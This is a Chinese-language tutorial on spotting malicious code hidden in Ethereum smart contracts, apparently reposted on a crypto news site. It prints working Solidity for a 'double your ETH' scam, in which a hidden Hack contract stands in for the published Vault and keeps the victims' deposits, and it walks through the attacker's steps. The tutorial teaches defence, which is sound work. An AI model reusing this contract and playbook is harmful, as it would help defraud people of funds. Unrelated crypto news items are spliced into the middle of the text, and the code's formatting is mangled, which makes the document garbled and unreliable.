概述
上期我们了解了利用tx.origin进行钓鱼的攻击手法，本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。
前置知识
大家还记得之前几期部署攻击合约时我们会传入目标合约的地址，在攻击合约中就可以调用目标合约中的函数吗，有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源，其实我们会在部署A合约时传入C合约的地址，如果受害者完全信任我们没有检查部署A合约的那笔交易，我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑：
Arbitrum链上智能合约创建总量突破250万，锁仓总量超50亿美元:金色财经报道，据Dune Analytics最新数据显示，以太坊Layer2网络Arbitrum链上智能合约创建总量突破250万，本文撰写时达到2,508,321个，锁仓总量为50.62亿美元，累计链上ERC-20资产总价值达到92.2亿美元。历史数据显示，Arbitrum链上智能合约创建总量于2022年11月底突破100万，4月中旬超200万，这意味着该指标过去一个月时间内增长约25%。[2023/5/27 9:45:55]
用户以为的调用路径：
部署合约A传入合约B地址，这样调用路径为正常路径。
实际的调用路径：
部署合约A传入合约C地址，这样调用路径为非正常路径。
下面我们使用一个简单的例子来分析这个局：
恶意代码
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
数据：目前有超过3000个智能合约等待在Cardano上部署:9月19日消息，据实时数据显示，目前有超过3000个智能合约等待在Cardano上部署。这些智能合约被锁定在一个时间锁定合约中。开发者暂时无法访问，因为它们目前处于锁定状态，只待获得访问权限。（Zycrypto）[2021/9/20 23:37:27]
局分析
可以看到，上述代码中存在三个合约，我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色：
MoneyMaker合约代表A合约；
Vault合约代表B合约；
Hack合约代表C合约。
所以用户以为的调用路径为：
MoneyMaker->Vault。
而实际的调用路径为：
MoneyMaker->Hack。
下面我们来看看攻击者如何完成局的：
波卡生态多链智能合约平台 ParaState 完成 550 万美元融资:官方消息，波卡生态多链智能合约平台 ParaState 完成 550 万美元融资，HyperChain Capital 领投，参投方包括 Firstchain Group、OIG、DCI Capital、Moonboots Capital、AuBit、CSP DAO、Maven Capital、GD10 Ventures、Parsiq、Playcent、ItsBlockchain.com、Llama Ventures 和 CryptoAvengers，此前的投资方如 Kenetic、Moonwhale、Master Ventures、Taureon、Chronos Ventures、1 Cap、Titans Ventures、pSquare、BitcoinGuru 等在本轮中继续参投。[2021/7/15 0:55:08]
1.Evil部署Vault(B)合约并在合约中留存100ETH资金，在链上将Vault(B)合约开源；
GateChain发布智能合约DeFi生态与跨链路线图:据Gate.io官方公告，GateChain发布智能合约DeFi生态与跨链路线图计划：
1.春节后，GateChain-EVM进入压力和回归测试，完成后将直接升级主链，提供丰富的DeFi生态，包括对标Uniswap等产品的去中心化兑换、借贷等应用；
2.GateChain与Cosmos、波卡生态、以太坊等去中心化资产跨链产品将在EVM上线主网后进入公测；
3.计划竞拍Polkadot波卡平行链插槽，并接入波卡主网；
4.测试链已完成Cosmos-IBC模块升级并计划今年上线主网，以实现与Cosmos生态的跨链；
5.将于上半年推出新产品Gatemint-SDK，支持用户一键发链；
6.拟发布GateChain平行链卡槽拍卖，现阶段仍在评估中。[2021/2/10 19:27:16]
2.Evil部署Hack(C)恶意合约；
3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约，部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址，任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报；
声音 | 分布式资本姚镜仪：智能合约和token是区块链的灵魂:据经济参考报，分布式资本合伙人姚镜仪表示，智能合约和token是区块链的灵魂。她坚信智能合约的未来，但现在也看到智能合约出现了很多问题和事件。分布式资本的投资策略就是“容错”。如果没有足够的容错性，区块链生态中就无法生长出足够的多样性。[2018/7/3]
4.Bob收到消息，了解到MoneyMaker合约的存在，他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样，他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil；
5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH，在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。
咋回事呢？其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址，而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太，而是调用了Hack.transfer()抛出了一个事件："Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出，并通过Hack.withrow()将Bob转入的20ETH转出。
预防建议
以太坊黑暗森林中你能相信的只有自己，不要相信任何人精彩的话术，交易记录不会造假，只有自己验证了对应的那笔交易后才能相信对方说的话是对的。
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。